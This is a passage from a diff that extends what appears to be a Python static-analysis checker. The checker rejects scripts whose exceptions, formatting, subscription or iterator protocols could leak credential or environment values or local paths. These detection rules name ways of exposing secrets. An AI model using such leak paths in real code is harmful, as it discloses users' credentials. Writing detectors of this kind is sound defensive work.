subscription_implementation_unproven(implementation): + if any(isinstance(part, (ast.Yield, ast.YieldFrom)) + and python_enclosing_scope(part, parents) is implementation for part in ast.walk(implementation)): + return True # A generator's Return is not its exposed result. + state_names = {"__defaults__", "__kwdefaults__", "__code__", "__globals__", "__closure__", "__dict__"} + for part in ast.walk(tree): + if isinstance(part, ast.Attribute) and part.attr in state_names: + targets = subscription_state_targets(part.value) + if not targets or implementation in targets or any(isinstance(target, ast.ClassDef) for target in targets): + return True # Computed/unknown protected-state targets cannot prove disjoint identity. + if (isinstance(part, ast.Call) and len(part.args) >= 2 + and (receiver_setter_proven(part.func, set()) + or python_unshadowed_builtin_reference(part.func, {"getattr", "delattr"}, tree, parents))): + names = mutation_literal_names(part.args[1], set()) + if not names or names & state_names: + targets = subscription_state_targets(part.args[0]) + if not targets or implementation in targets or any(isinstance(target, ast.ClassDef) for target in targets): + return True + return False + + def subscription_wrapper_proven(value, seen): + wrappers = {"dict", "list", "tuple", "set", "frozenset", "iter", "next"} + if python_unshadowed_builtin_reference(value, wrappers, tree, parents): + return True + if id(value) in seen or not isinstance(value, (ast.Name, ast.IfExp, ast.Subscript)): + return False + alternatives = [reference for reference in python_value_provenance(value, tree, parents) + if reference is not value] + if isinstance(value, ast.Name): + inventory = getattr(tree, "_issue79_sensitive_imported_alias_bindings", {}) + for scope in python_sensitive_alias_scope_chain(value, parents): + bindings = inventory.get((id(scope), value.id), ()) + if not bindings or any(kind in {"global", "nonlocal"} for kind, _ in bindings): + continue + if any(kind != "assignment" for kind, _ in bindings): + return False + break + return bool(alternatives) and all(subscription_wrapper_proven(reference, seen | {id(value)}) + for reference in alternatives) + + def subscription_receiver_classes(value): + pending, visited, classes = [value], set(), set() + while pending: + expression = pending.pop() + if id(expression) in visited: + continue + visited.add(id(expression)) + for reference in python_value_provenance(expression, tree, parents, receiver_origins=True): + if isinstance(reference, ast.ClassDef): + classes.add(reference) + elif isinstance(reference, ast.Subscript): + pending.append(reference.value) + elif (isinstance(reference, ast.Call) and any(python_unshadowed_builtin_reference( + target, {"dict", "list", "tuple", "set", "frozenset", "iter", "next"}, tree, parents) + for target in python_value_provenance(reference.func, tree, parents))): + if not subscription_wrapper_proven(reference.func, set()): + return None # One visible builtin cannot certify unknown competing targets. + arguments = list(reference.args) + [keyword.value for keyword in reference.keywords] + pending.extend(arguments) + for argument in arguments: + pending.extend(python_value_provenance(argument, tree, parents, + initial_selection="iterate", receiver_origins=True)) + if any(python_unshadowed_builtin_reference(target, {"dict"}, tree, parents) + for target in python_value_provenance(reference.func, tree, parents)): + pending.extend(python_value_provenance(argument, tree, parents, + initial_selection=True, receiver_origins=True)) + return classes + + def error_operand_repr_from_class(classdef, seen, methods): + if methods == ("__await__",) and not any( + isinstance(entry, ast.FunctionDef) and entry.name == "__await__" + for entry in classdef.body) and not any(method == "__await__" + for method, _entry in assigned_display_methods.get(classdef, ())): + return True # Only a proven local await protocol may close this edge. + protocol_visit = (id(classdef), tuple(methods)) + if protocol_visit in seen: + return False + seen.add(protocol_visit) + assigned_functions = {} + for method, implementation in assigned_display_methods.get(classdef, ()): + if method not in methods: + continue + targets = protocol_callable_targets(implementation, set(), assigned_protocol=True) + if not targets or any(isinstance(target, ast.ClassDef) for target in targets): + return True # Unproven wrappers/implementations refuse, even if harmless. + assigned_functions.setdefault(method, []).extend(targets) + if "__aiter__" in methods: + implementations = [entry for entry in classdef.body + if isinstance(entry, (ast.FunctionDef, ast.AsyncFunctionDef)) + and entry.name == "__aiter__"] + implementations.extend(assigned_functions.get("__aiter__", ())) + for implementation in implementations: + returns = ([implementation.body] if isinstance(implementation, ast.Lambda) else + [part.value for part in ast.walk(implementation) + if isinstance(part, ast.Return) and part.value is not None]) + if any(returned_async_iterator_sensitive(result, implementation, classdef, seen, set()) + for result in returns): + return True + if "__anext__" in methods: + implementations = [entry for entry in classdef.body + if isinstance(entry, ast.FunctionDef) and entry.name == "__anext__"] + implementations.extend(entry for entry in assigned_functions.get("__anext__", ()) + if not isinstance(entry, ast.AsyncFunctionDef)) + for implementation in implementations: + returns = ([implementation.body] if isinstance(implementation, ast.Lambda) else + [part.value for part in ast.walk(implementation) + if isinstance(part, ast.Return) and part.value is not None + and python_enclosing_scope(part, parents) is implementation]) + if not returns or any(returned_async_iterator_sensitive(result, implementation, + classdef, seen, set(), ("__await__",)) for result in returns): + return True + for method in {"__getitem__", "__class_getitem__"}.intersection(methods): + bindings = getattr(tree, "_issue79_sensitive_imported_alias_bindings", {}).get((id(classdef), method), ()) + if any(not (kind == "unknown" and isinstance(binding, (ast.FunctionDef, ast.AsyncFunctionDef)) + and parents.get(binding) is classdef + or kind == "assignment" and isinstance(binding, (ast.Assign, ast.AnnAssign))) + for kind, binding in bindings): + return True # Unsupported class-namespace protocol binders cannot install a proven method. + if any(isinstance(entry, (ast.FunctionDef, ast.AsyncFunctionDef)) + and entry.name == method and python_class_namespace_owner(entry, parents) is classdef + and parents.get(entry) is not classdef for entry in ast.walk(classdef)): + return True # Nested class-suite protocol installation is unsupported. + implementations = [entry for entry in classdef.body + if isinstance(entry, (ast.FunctionDef, ast.AsyncFunctionDef)) and entry.name == method] + implementations.extend(assigned_functions.get(method, ())) + for implementation in implementations: + if subscription_implementation_unproven(implementation): + return True + returns = ([implementation.body] if isinstance(implementation, ast.Lambda) else + [part.value for part in ast.walk(implementation) + if isinstance(part, ast.Return) and part.value is not None + and python_enclosing_scope(part, parents) is implementation]) + if not returns or any(not subscription_result_proven(result, set()) for result in returns): + return True + for method, implementations in assigned_functions.items(): + for implementation in implementations: + if isinstance(implementation, ast.Lambda): + if error_operand_sensitive(implementation.body): + return True + elif any(isinstance(candidate, (ast.Return, ast.Yield, ast.YieldFrom)) + and candidate.value is not None + and python_enclosing_scope(candidate, parents) is implementation + and error_operand_sensitive(candidate.value) + for candidate in ast.walk(implementation)): + return True + for entry in classdef.body: + if ( + isinstance(entry, (ast.FunctionDef, ast.AsyncFunctionDef)) + and entry.name in methods + ): + for candidate in ast.walk(entry): + if ( + isinstance(candidate, (ast.Return, ast.Yield, ast.YieldFrom)) + and candidate.value is not None + and error_operand_sensitive(candidate.value) + ): + return True + for base in classdef.bases: + if isinstance(base, ast.Name): + for _scope, other in error_operand_classes.get(base.id, ()): + if error_operand_repr_from_class(other, set(seen), methods): + return True + return False + + def receiver_setter_proven(value, seen): + if id(value) in seen: + return False + if python_unshadowed_builtin_reference(value, {"setattr"}, tree, parents): + return True + if (isinstance(value, ast.Attribute) and value.attr == "__setattr__" + and python_unshadowed_builtin_reference(value.value, {"object"}, tree, parents)): + return True + if isinstance(value, ast.IfExp): + alternatives = [value.body, value.orelse] + elif isinstance(value, ast.Name): + python_sensitive_imported_function_alias(value, tree, parents) + inventory = getattr(tree, "_issue79_sensitive_imported_alias_bindings", {}) + for scope in python_sensitive_alias_scope_chain(value, parents): + bindings = inventory.get((id(scope), value.id), ()) + if not bindings: + continue + if any(kind == "unknown" and isinstance(binding, ast.arg) + and not mutation_parameter_calls_closed(binding) for kind, binding in bindings): + return False # A default cannot close an unmodeled callback origin. + break + alternatives = [reference for reference in python_value_provenance(value, tree, parents) + if reference is not value] + else: + return False + return bool(alternatives) and all(receiver_setter_proven(reference, seen | {id(value)}) + for reference in alternatives) + + def receiver_class_mutated(implementation): + # A first formal proves identity, not an unchanged runtime class. + # Refuse these mutations at this boundary, including receiver aliases. + positional = list(implementation.args.posonlyargs) + list(implementation.args.args) + def reaches_receiver(value): + return positional and any(isinstance(reference, ast.Name) + and reference.id == positional[0].arg + and python_enclosing_scope(reference, parents) is implementation + for expression in ast.walk(value) if isinstance(expression, ast.expr) + for reference in python_value_provenance(expression, tree, parents)) + def augmentation_target_unproven(value): + for expression in ast.walk(value): + if not isinstance(expression, ast.expr): + continue + for reference in python_value_provenance(expression, tree, parents): + if not isinstance(reference, ast.Name): + continue + inventory = getattr(tree, "_issue79_sensitive_imported_alias_bindings", {}) + origins = [] + for scope in python_sensitive_alias_scope_chain(reference, parents): + bindings = inventory.get((id(scope), reference.id), ()) + if not bindings or any(kind in {"global", "nonlocal"} for kind, _ in bindings): + continue + origins = [(kind, binding) for kind, binding in bindings + if not (kind == "unknown" and isinstance(binding, ast.Name) + and isinstance(parents.get(binding), ast.AugAssign))] + break + if not origins or any(kind != "assignment" for kind, _ in origins): + return True # Unsupported binders cannot prove a nonreceiver target. + return False + for part in ast.walk(implementation): + if isinstance(part, ast.Attribute) and part.attr == "__class__" and isinstance(part.ctx, (ast.Store, ast.Del)): + return True + if (isinstance(part, ast.Name) and isinstance(part.ctx, ast.Load) + and python_enclosing_scope(part, parents) is not implementation + and reaches_receiver(part)): + return True # Captured receivers cannot certify unchanged identity. + if isinstance(part, ast.AugAssign) and (any( + reaches_receiver(operand) for operand in (part.target, part.value)) + or augmentation_target_unproven(part.target)): + return True # Target operators and RHS escapes can mutate the receiver. + if isinstance(part, (ast.Assign, ast.AnnAssign, ast.NamedExpr)) and part.value is not None: + if reaches_receiver(part.value): + targets = part.targets if isinstance(part, ast.Assign) else [part.target] + if not isinstance(part.value, ast.Name) or not all( + isinstance(target, ast.Name) + and python_sensitive_alias_binding_scope(target, parents) is implementation + and all(kind not in {"global", "nonlocal"} for kind, _binding in + getattr(tree, "_issue79_sensitive_imported_alias_bindings", {}).get( + (id(implementation), target.id), ())) for target in targets): + return True # Only proven simple local receiver aliases remain supported. + if not isinstance(part, ast.Call): + continue + known_setter = len(part.args) >= 3 and receiver_setter_proven(part.func, set()) + if known_setter: + names = mutation_literal_names(part.args[1], set()) + if not names or "__class__" in names: + return True + continue + # No helper-effect interpreter: escaping the original receiver + # through a call cannot certify an unchanged runtime class. + escaped = list(part.args) + [keyword.value for keyword in part.keywords] + if isinstance(part.func, ast.Attribute): + escaped.append(part.func.value) + if any(reaches_receiver(argument) for argument in escaped): + return True + return False + + def returned_async_iterator_sensitive(value, implementation, classdef, seen_classes, seen_values, + protocols=("__iter__", "__next__", "__getitem__", "__aiter__", "__anext__")): + if id(value) in seen_values: + return True + seen_values = seen_values | {id(value)} + if isinstance(value, ast.Name): + positional = list(implementation.args.posonlyargs) + list(implementation.args.args) + python_sensitive_imported_function_alias(value, tree, parents) + bindings = getattr(tree, "_issue79_sensitive_imported_alias_bindings", {}).get( + (id(implementation), value.id), ()) + if (positional and value.id == positional[0].arg + and python_enclosing_scope(value, parents) is implementation + and not getattr(implementation, "decorator_list", ()) + and bindings and all(kind == "unknown" and binding is positional[0] + for kind, binding in bindings)): + return protocols == ("__await__",) or receiver_class_mutated(implementation) + alternatives = [reference for reference in python_value_provenance(value, tree, parents) + if reference is not value] + return not alternatives or any(returned_async_iterator_sensitive(reference, + implementation, classdef, seen_classes, seen_values, protocols) for reference in alternatives) + if isinstance(value, ast.IfExp): + return any(returned_async_iterator_sensitive(reference, implementation, classdef, + seen_classes, seen_values, protocols) for reference in (value.body, value.orelse)) + if isinstance(value, ast.Call): + targets = protocol_callable_targets(value.func, set()) + if not targets: + return True + classes = [target for target in targets if isinstance(target, ast.ClassDef)] + if any(error_operand_repr_from_class(reference, set(seen_classes), protocols) for reference in classes): + return True + for target in targets: + if isinstance(target, ast.ClassDef): + continue + # Targets are proven before selecting their lexical returns; + # a known class sibling must not discard a helper alternative. + returned = ([target.body] if isinstance(target, ast.Lambda) else + [part.value for part in ast.walk(target) + if isinstance(part, (ast.Return, ast.Yield, ast.YieldFrom)) + and part.value is not None and python_enclosing_scope(part, parents) is target]) + if not returned or any(returned_async_iterator_sensitive(reference, + implementation, classdef, seen_classes, seen_values, protocols) for reference in returned): + return True + return False + if isinstance(value, ast.ClassDef): + return error_operand_repr_from_class(value, set(seen_classes), protocols) + return True + + def display_implementation_sensitive(value, seen): + if value is None or id(value) in seen: + return False + seen.add(id(value)) + functions = [] + if isinstance(value, ast.Lambda): + return error_operand_sensitive(value.body) + if isinstance(value, ast.Call): + return any(display_implementation_sensitive(returned, seen) + for returned in python_local_call_return_values(value, tree, parents)) + if isinstance(value, ast.Subscript): + return any(display_implementation_sensitive(selected, seen) + for selected in error_operand_subscript_values(value)) + if isinstance(value, ast.Name): + functions = (python_local_function_candidates(value.id, value, tree, parents) + + python_local_lambda_candidates(value.id, value, tree, parents)) + for scope in python_lexical_scope_chain(python_enclosing_scope(value, parents), parents): + entries = [binding for binding_scope, binding, _keys + in error_operand_bindings.get(value.id, ()) if binding_scope is scope] + if entries: + if any(display_implementation_sensitive(entry, seen) for entry in entries): + return True + break + for function in functions: + returns = ([function.body] if isinstance(function, ast.Lambda) else + [node.value for node in ast.walk(function) + if isinstance(node, (ast.Return, ast.Yield, ast.YieldFrom))]) + if any(error_operand_sensitive(result) for result in returns): + return True + return False + + def display_class_targets(value, seen): + if id(value) in seen: + return [] + seen.add(id(value)) + if not isinstance(value, ast.Name): + return [] + for scope in python_lexical_scope_chain(python_enclosing_scope(value, parents), parents): + classes = [classdef for class_scope, classdef + in error_operand_classes.get(value.id, ()) if class_scope is scope] + entries = [binding for binding_scope, binding, _keys + in error_operand_bindings.get(value.id, ()) if binding_scope is scope] + if classes or entries: + return classes + [classdef for entry in entries + for classdef in display_class_targets(entry, seen)] + return [] + + def path_handler_builtin_reference(expression, names): + if not python_unshadowed_builtin_reference(expression, names, tree, parents): + return False + python_sensitive_imported_function_alias(expression, tree, parents) + constructor_index = getattr(tree, "_issue79_sensitive_imported_alias_bindings", {}) + return not any(constructor_index.get((id(scope), expression.id), ()) + for scope in python_sensitive_alias_scope_chain(expression, parents)) + + def path_handler_suppresses_context(handler): + """Prove only inert control flow or literal builtin context suppression.""" + def inert_message(expression, seen): + if id(expression) in seen: + return False + seen.add(id(expression)) + if isinstance(expression, ast.Constant): + return True + if isinstance(expression, ast.JoinedStr): + return all(isinstance(part, ast.Constant) or ( + isinstance(part, ast.FormattedValue) and part.format_spec is None + and inert_message(part.value, set(seen))) for part in expression.values) + if isinstance(expression, ast.Name): + if any(isinstance(part, ast.Name) and part.id == expression.id + and isinstance(part.ctx, ast.Del) for part in ast.walk(tree)): + return False + # Reuse the complete binder inventory: except targets clear + # implicitly, and for/with/match/import/parameter binders are + # not evidence of an available primitive message. + python_sensitive_imported_function_alias(expression, tree, parents) + message_index = getattr(tree, "_issue79_sensitive_imported_alias_bindings", {}) + for scope in python_sensitive_alias_scope_chain(expression, parents): + message_bindings = message_index.get((id(scope), expression.id), ()) + if message_bindings: + if any(kind != "assignment" or binding.value is None + for kind, binding in message_bindings): + return False + message_sources = [binding.value for _kind, binding in message_bindings] + if any(not isinstance(parents.get(binding), (ast.Assign, ast.AnnAssign)) + or parents.get(parents.get(binding)) is not scope + or binding.lineno >= handler.lineno for binding in message_sources): + return False + return all(inert_message(binding, set(seen)) or ( + isinstance(binding, ast.Subscript) + and python_dotted_name(binding.value) == "sys.argv" + and isinstance(binding.slice, ast.Constant) + and isinstance(binding.slice.value, int) + and python_imported_module_alias_is_stable("sys", "sys", tree) + and all(isinstance(parents.get(part), ast.Subscript) + and parents[part].value is part + or isinstance(parents.get(part), ast.Call) + and python_unshadowed_builtin_call(parents[part], {"len"}, tree, parents) + for part in ast.walk(tree) + if isinstance(part, ast.Attribute) + and python_dotted_name(part) == "sys.argv") + and not any(isinstance(part, (ast.Attribute, ast.Subscript)) + and isinstance(part.ctx, (ast.Store, ast.Del)) + and (python_dotted_name(part) == "sys.argv" + or isinstance(part, ast.Subscript) + and python_dotted_name(part.value) == "sys.argv") + for part in ast.walk(tree)) + ) for binding in message_sources) + if expression.id in error_operand_parameters.get(scope, ()): + return False + return False + + for statement in handler.body: + if isinstance(statement, (ast.Pass, ast.Continue, ast.Break)): + continue + if isinstance(statement, ast.Return) and ( + statement.value is None or isinstance(statement.value, ast.Constant) + ): + continue + if isinstance(statement, ast.Raise) and isinstance(statement.exc, ast.Call): + replacement = statement.exc + if (path_handler_builtin_reference(replacement.func, + {"RuntimeError", "ValueError", "Exception", "SystemExit"}) + and not replacement.keywords + and all(inert_message(argument, set()) for argument in replacement.args) + and (isinstance(statement.cause, ast.Constant) and statement.cause.value is None + or statement.cause is None and path_handler_builtin_reference( + replacement.func, {"SystemExit"}))): + continue + return False + return True + + def path_exit_context_is_contained(handler): + """An uncaused SystemExit must not be replaced during propagation.""" + carries_context = any(isinstance(effect, ast.Raise) and effect.cause is None + and python_unshadowed_builtin_call(effect.exc, {"SystemExit"}, tree, parents) + for effect in handler.body) + if not carries_context: + return True + current = handler + while current in parents: + enclosing = parents[current] + if isinstance(enclosing, (ast.FunctionDef, ast.AsyncFunctionDef, ast.Lambda)): + break + if isinstance(enclosing, (ast.With, ast.AsyncWith)): + return False + if isinstance(enclosing, (ast.Try, ast.TryStar)): + if any(not isinstance(effect, ast.Pass) for effect in enclosing.finalbody): + return False + if enclosing is not parents.get(handler) and current in enclosing.body and enclosing.handlers: + return False + current = enclosing + return True + + assigned_display_methods = {} + display_protocol_names = {"__str__", "__repr__", "__format__", "__iter__", "__next__", "__getitem__", "__class_getitem__", "__aiter__", "__anext__", "__await__", "__set_name__"} + def mutation_parameter_calls_closed(parameter): + implementation = parents.get(parents.get(parameter)) + if not isinstance(implementation, (ast.FunctionDef, ast.AsyncFunctionDef, ast.Lambda)): + return False + direct = False + for reference in ast.walk(tree): + if not isinstance(reference, ast.Name) or not isinstance(reference.ctx, ast.Load): + continue + if implementation not in python_value_provenance(reference, tree, parents): + continue + owner = parents.get(reference) + if isinstance(owner, ast.Call) and owner.func is reference: + direct = True + elif (isinstance(owner, (ast.Assign, ast.AnnAssign)) and owner.value is reference + and python_class_namespace_owner(owner, parents) is None + and all(isinstance(target, ast.Name) for target in + (owner.targets if isinstance(owner, ast.Assign) else [owner.target]))): + continue # The same scan checks all uses of these local aliases. + else: + return False # Callback/container/descriptor escape is not modeled. + return direct + + def mutation_literal_names(value, seen): + if id(value) in seen: + return set() + if isinstance(value, ast.Name): + python_sensitive_imported_function_alias(value, tree, parents) + inventory = getattr(tree, "_issue79_sensitive_imported_alias_bindings", {}) + for scope in python_sensitive_alias_scope_chain(value, parents): + bindings = inventory.get((id(scope), value.id), ()) + if not bindings: + continue + if any(kind == "unknown" and isinstance(binding, ast.arg) + and not mutation_parameter_calls_closed(binding) for kind, binding in bindings): + return set() + break + alternatives = [reference for reference in python_value_provenance(value, tree, parents) + if reference is not value] + values = [mutation_literal_names(reference, seen | {id(value)}) for reference in alternatives] + return set().union(*values) if values and all(values) else set() + # The existing graph owns aliases and scopes. The body-wide string + # helper may only inspect terminal expressions containing no names. + if any(isinstance(part, ast.Name) for part in ast.walk(value)): + return set() + return python_static_string_values(value, tree) + + if error_operand_classes: + for candidate in ast.walk(tree): + if (isinstance(candidate, ast.Call) and len(candidate.args) >= 3 + and any(python_unshadowed_builtin_reference(reference, {"setattr"}, tree, parents) + for reference in python_value_provenance(candidate.func, tree, parents))): + mutation_classes = display_class_targets(candidate.args[0], set()) + mutation_name_values = [mutation_literal_names(candidate.args[1], set())] + mutation_names = set().union(*mutation_name_values) + if mutation_classes and (not mutation_names or not all(mutation_name_values)): + return f"Python class protocol mutation has an unresolved member name on line {candidate.lineno}" + for classdef in mutation_classes: + for mutation_name in mutation_names & display_protocol_names: + assigned_display_methods.setdefault(classdef, []).append((mutation_name, candidate.args[2])) + if not isinstance(candidate, (ast.Assign, ast.AnnAssign)) or candidate.value is None: + continue + targets = candidate.targets if isinstance(candidate, ast.Assign) else [candidate.target] + for target in targets: + class_scope = python_class_namespace_owner(candidate, parents) + if isinstance(target, ast.Name) and class_scope is not None: + classes, method = [class_scope], target.id + elif isinstance(target, ast.Attribute): + classes, method = display_class_targets(target.value, set()), target.attr + else: + continue + if method in display_protocol_names: + for classdef in classes: + assigned_display_methods.setdefault(classdef, []).append((method, candidate.value)) + + for part in ast.walk(tree): + if (isinstance(part, ast.Attribute) and part.attr == "__set_name__" + and isinstance(part.ctx, (ast.Store, ast.Del))): + return "Python descriptor construction hooks are outside the reviewed protocol model" + if (isinstance(part, ast.Call) and len(part.args) >= 3 + and receiver_setter_proven(part.func, set()) + and "__set_name__" in mutation_literal_names(part.args[1], set())): + return "Python descriptor construction hooks are outside the reviewed protocol model" + for classdef in (part for part in ast.walk(tree) if isinstance(part, ast.ClassDef)): + if (any(method == "__set_name__" for method, _ in assigned_display_methods.get(classdef, ())) + or any(python_class_namespace_owner(part, parents) is classdef and ( + isinstance(part, (ast.FunctionDef, ast.AsyncFunctionDef)) and part.name == "__set_name__" + or isinstance(part, ast.Name) and isinstance(part.ctx, ast.Store) and part.id == "__set_name__") + for part in ast.walk(classdef))): + return "Python descriptor construction hooks are outside the reviewed protocol model" + + def error_operand_repr_sensitive(value, seen, methods=("__repr__",)): + # Factory/parameter graphs can contain cycles and many shared paths. + # Expand each expression once, rather than cloning a recursive path set. + if not error_operand_classes: + return False + stack = [value] + seen = set(seen) + while stack: + value = stack.pop() + if value is None or id(value) in seen: + continue + seen.add(id(value)) + if isinstance(value, ast.Call): + stack.extend(python_local_call_return_values(value, tree, parents)) + if (python_dotted_name(value.func) in {"str", "repr", "ascii", "format"} + or isinstance(value.func, ast.Name) and python_assigned_format_alias(value.func.id, tree)): + stack.extend(value.args) + elif isinstance(value.func, ast.Attribute) and value.func.attr in {"format", "format_map"}: + stack.extend(value.args) + stack.extend(keyword.value for keyword in value.keywords) + constructors = [value.func] + seen_constructors = set() + while constructors: + constructor = constructors.pop() + if id(constructor) in seen_constructors: + continue + seen_constructors.add(id(constructor)) + if isinstance(constructor, ast.IfExp): + constructors.extend((constructor.body, constructor.orelse)) + elif isinstance(constructor, ast.Subscript): + constructors.extend(error_operand_subscript_values(constructor)) + elif isinstance(constructor, ast.Call): + returned_classes = protocol_callable_targets(constructor, set()) + if not returned_classes or any(not isinstance(target, ast.ClassDef) + for target in returned_classes): + return True # Unknown/cyclic returned constructors cannot close this edge. + constructors.extend(returned_classes) + elif isinstance(constructor, ast.ClassDef): + if error_operand_repr_from_class(constructor, set(), methods): + return True + if not isinstance(constructor, ast.Name): + continue + chain = python_lexical_scope_chain( + python_enclosing_scope(constructor, parents), parents) + for scope in chain: + classes = [classdef for class_scope, classdef + in error_operand_classes.get(constructor.id, ()) + if class_scope is scope] + if any(error_operand_repr_from_class(classdef, set(), methods) + for classdef in classes): + return True + entries = [binding for binding_scope, binding, _keys + in error_operand_bindings.get(constructor.id, ()) + if binding_scope is scope] + is_parameter = constructor.id in error_operand_parameters.get(scope, ()) + if classes or entries or is_parameter: + constructors.extend(entries) + if is_parameter: + constructors.extend(source for source_scope, source + in assignments_by_name.get(constructor.id, ()) + if source_scope is scope) + break + elif isinstance(value, ast.Name): + chain = python_lexical_scope_chain( + python_enclosing_scope(value, parents), parents) + for scope in chain: + entries = [binding + for binding_scope, binding, _keys in error_operand_bindings.get(value.id, ()) + if binding_scope is scope] + is_parameter = value.id in error_operand_parameters.get(scope, ()) + if entries or is_parameter: + stack.extend(entries) + if is_parameter: + stack.extend(source + for source_scope, source in assignments_by_name.get(value.id, ()) + if source_scope is scope) + break + elif isinstance(value, ast.Subscript): + stack.extend(error_operand_subscript_values(value)) + elif isinstance(value, (ast.List, ast.Tuple, ast.Set)): + stack.extend(value.elts) + elif isinstance(value, ast.Dict): + stack.extend(list(value.keys) + list(value.values)) + elif isinstance(value, ast.IfExp): + stack.extend((value.body, value.orelse)) + elif isinstance(value, ast.JoinedStr): + stack.extend(value.values) + elif isinstance(value, ast.FormattedValue): + stack.append(value.value) + elif isinstance(value, ast.BinOp) and isinstance(value.op, ast.Mod): + stack.append(value.right) + return False + + def exception_arguments(value, seen_names=None, follow_names=True): + if value is None: + return [] + if seen_names is None: + seen_names = set() + if isinstance(value, ast.Name): + if not follow_names: + return [value] + if value.id in seen_names: + return [value] + scope = python_enclosing_scope(value, parents) + sources = ( + (source_scope, source) + for source_scope, source in assignments_by_name.get(value.id, ()) + if source_scope is scope + and ( + isinstance(source, ast.Name) + or ( + isinstance(source, ast.Call) + and ( + (python_dotted_name(source.func) or "").rsplit(".", 1)[-1].endswith( + ("Error", "Exception", "Exit", "Warning") + ) + or (python_dotted_name(source.func) or "").rsplit(".", 1)[-1] in { + "StopIteration", "StopAsyncIteration", "KeyboardInterrupt", + "ExceptionGroup", "BaseExceptionGroup", "TimeoutExpired", + } + or (python_dotted_name(source.func) or "").rsplit(".", 1)[-1] + in local_exception_names + ) + ) + ) + ) + return [value] + [ + argument + for _scope, source in sources + for argument in exception_arguments(source, seen_names | {value.id}) + ] + if isinstance(value, ast.Call): + arguments = list(value.args) + [keyword.value for keyword in value.keywords] + return [value] + [ + nested + for argument in arguments + for nested in exception_arguments(argument, seen_names) + ] + return [value] + + for alias, receiver in path_reader_aliases.items(): + if not python_reviewed_read_path(receiver, tree, parents): + return f"Python unreviewed Path reader alias {alias!r} is not allowed" + for node in ast.walk(tree): + if isinstance(node, ast.Subscript) and isinstance(node.ctx, ast.Load): + receiver_classes = subscription_receiver_classes(node.value) + if (receiver_classes is None + or error_operand_repr_sensitive(node.value, set(), ("__getitem__",)) + or any(error_operand_repr_from_class(reference, set(), ("__class_getitem__",)) + for reference in receiver_classes)): + return ("Python custom subscription may expose sensitive protocol values " + f"on line {node.lineno}") + if (isinstance(node, (ast.comprehension, ast.For, ast.AsyncFor)) + and error_operand_repr_sensitive(node.iter, set(), + ("__iter__", "__next__", "__getitem__", "__aiter__", "__anext__") if isinstance(node, ast.AsyncFor) + or isinstance(node, ast.comprehension) and node.is_async + else ("__iter__", "__next__", "__getitem__"))): + return ("Python custom iterator may expose sensitive protocol values " + f"on line {node.iter.lineno if isinstance(node, ast.comprehension) else node.lineno}") + if isinstance(node, ast.Subscript) and python_dotted_name(node.value) == "os.environ": + key = node.slice.value if isinstance(node.slice, ast.Constant) else None + if isinstance(key, str) and credential_environment_name(key): + return ( + "Python credential/environment subscript is not allowed " + f"on line {node.lineno}" + ) + if ( + isinstance(node, ast.Subscript) + and not isinstance(node.ctx, ast.Store) + and python_dotted_name(node.value) + not in {"os.environ", "os.environb"} + and error_operand_sensitive(node.slice) + ): + return ( + "Python sensitive value is used as a subscript that may surface " + f"in an exception message on line {node.lineno}" + ) + if ( + isinstance(node, ast.Subscript) + and not isinstance(node.ctx, ast.Store) + and python_dotted_name(node.value) + not in {"os.environ", "os.environb"} + and error_operand_repr_sensitive(node.slice, set()) + ): + return ( + "Python subscript uses a key whose representation may disclose " + f"sensitive values on line {node.lineno}" + ) + if isinstance(node, ast.Assert) and node.msg is not None: + if python_sensitive_value_expression(node.msg, sensitive_names, tree, parents): + return f"Python assertion message contains an environment value on line {node.lineno}" + if isinstance(node, ast.Raise): + if node.exc is not None and python_sensitive_value_expression( + node.exc, sensitive_names, tree, parents + ): + return ( + "Python credential/environment value is sent to an exception " + f"on line {node.lineno}" + ) + exception_values = exception_arguments(node.exc) + exception_arguments(node.cause) + if any( + python_sensitive_value_expression( + value, sensitive_names, tree, parents + ) + for value in exception_values if value is not None + ): + return ( + "Python credential/environment value is sent through an exception argument " + f"on line {node.lineno}" + ) + if any( + python_resolved_local_path_expression( + value, tree, parents, assignments_by_name + ) + for value in exception_values if value is not None + ): + return ( + "Python resolved local path is sent to an exception " + f"on line {node.lineno}" + ) + if isinstance(node, ast.Call): + dotted = python_dotted_name(node.func) + callable_values = python_value_provenance(node.func, tree, parents) + if any(isinstance(reference, ast.Attribute) and reference.attr == "format_map" + and (error_operand_sensitive(reference.value) + or node.args and any(python_unshadowed_builtin_reference(receiver, {"str"}, tree, parents) + for receiver in python_value_provenance(reference.value, tree, parents)) + and error_operand_sensitive(node.args[0])) for reference in callable_values): + return ("Python sensitive format field may surface in an implicit formatting exception " + f"on line {node.lineno}") + if any(isinstance(reference, ast.Attribute) and reference.attr == "relative_to" + and python_resolved_local_path_expression( + reference.value, tree, parents, assignments_by_name) for reference in callable_values): + current = node + handled = False + while current in parents: + parent = parents[current] + if isinstance(parent, ast.Try) and current in parent.body: + for handler in parent.handlers: + caught_types = (handler.type.elts if isinstance(handler.type, ast.Tuple) + else [handler.type]) + caught_names = [python_dotted_name(caught) for caught in caught_types] + # Unknown types may match: never skip them to a later safe handler. + if handler.type is not None and all(name in { + "TypeError", "KeyError", "IndexError", "RuntimeError", + "OSError", "SystemExit", "KeyboardInterrupt", + } and path_handler_builtin_reference(caught, {name}) + for caught, name in zip(caught_types, caught_names)): + continue + handled = (any(name in {"ValueError", "Exception", "BaseException"} + and path_handler_builtin_reference(caught, {name}) + for caught, name in zip(caught_types, caught_names)) or handler.type is None) + if handler.type is not None and not all( + path_handler_builtin_reference(caught, { + "ValueError", "Exception", "BaseException", "TypeError", "KeyError", + "IndexError", "RuntimeError", "OSError", "SystemExit", "KeyboardInterrupt", + }) for caught in caught_types): + handled = False + if handled: + handled = (path_handler_suppresses_context(handler) + and path_exit_context_is_contained(handler)) + if any(not isinstance(effect, ast.Pass) for effect in parent.finalbody): + handled = False + break + # The first applicable try owns the exception; unsafe handlers + # cannot be rescued by an outer or later suppression proof. + break + if isinstance(parent, (ast.FunctionDef, ast.AsyncFunctionDef, ast.Lambda)): + break + current = parent + if not handled: + return ("Python local path may surface through an implicit pathlib exception " + f"on line {node.lineno}") + if (error_operand_classes and ( + python_unshadowed_builtin_reference(node.func, + {"dict", "list", "tuple", "set", "frozenset", "iter", "next"}, tree, parents) + or isinstance(node.func, ast.Name) and any( + python_assigned_callable_alias(node.func.id, collection_name, tree) + for collection_name in ("dict", "list", "tuple", "set", "frozenset", "iter", "next"))) + and any(error_operand_repr_sensitive(argument, set(), + ("__iter__", "__next__", "__getitem__")) for argument in node.args)): + return ("Python custom iterator may expose sensitive protocol values " + f"on line {node.lineno}") + attribute_name_operands = [] + if len(node.args) >= 2 and ( + dotted in {"getattr", "delattr", 